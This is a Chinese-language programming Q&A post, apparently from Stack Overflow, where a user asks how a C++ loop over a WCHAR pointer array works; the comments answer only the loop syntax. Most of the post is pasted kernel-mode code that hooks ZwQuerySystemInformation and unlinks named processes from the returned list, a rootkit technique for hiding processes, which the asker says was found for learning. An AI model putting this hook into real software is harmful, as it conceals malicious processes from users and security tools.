【发布时间】:2013-05-20 17:33:16
【问题描述】:
我对 C++ 不是很有经验,我正在阅读一些代码,想知道这有什么意义......
WCHAR *Process[128];
for(i=0; i<Process; i++)
我看到一个指向 wchar 数组的指针,你如何循环遍历它?会不会遍历整个数组?
这是完整的代码:
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;
LONGLONG UserTime=0, KernelTime=0;
NTSTATUS ZwQuerySystemInformationHook(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION curr;
PSYSTEM_PROCESS_INFORMATION prev;
ULONG i;
status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( !NT_SUCCESS(status) )
return status;
if(SystemInformationClass!=5) // not a process request
return status;
for(i=0; i<NbProcessToHide; i++) {
curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
prev = NULL;
while(curr) {
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL) {
if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
!memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length))
{
if(!prev) {
// we are first process
if(curr->NextEntryDelta) // if there is a process after it
// first process becomes this one
(PBYTE)SystemInformation += curr->NextEntryDelta;
else
// no process ! >_>
SystemInformation = NULL;
}
else {
// there was a process before
if(curr->NextEntryDelta) // if there is a process after
// previous process leads to next
prev->NextEntryDelta += curr->NextEntryDelta;
else
// previous process is the last one =)
prev->NextEntryDelta = 0;
}
}
else
// not a process to hide, prev ptr go to this process
prev = curr;
}
// curr go to next process
if(curr->NextEntryDelta)
((PBYTE)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
【问题讨论】:
-
也发布循环体。只是那一行没有意义。
-
if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 && !memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length) ) {
-
两行代码的缩进级别不一样看起来很可疑。您确定该变量没有被同名的不同变量遮蔽吗?
-
processtohide 也是数组进程,我改名是因为我不希望它看起来像任何恶意,但它是我查找的用于学习目的的进程隐藏源代码。我可以贴出整个代码,但是这个评论框放不下。
-
完整代码没有您最初发布的
for测试条件。循环测试条件有ULONG而不是WCHAR *
标签: c++ c arrays pointers wchar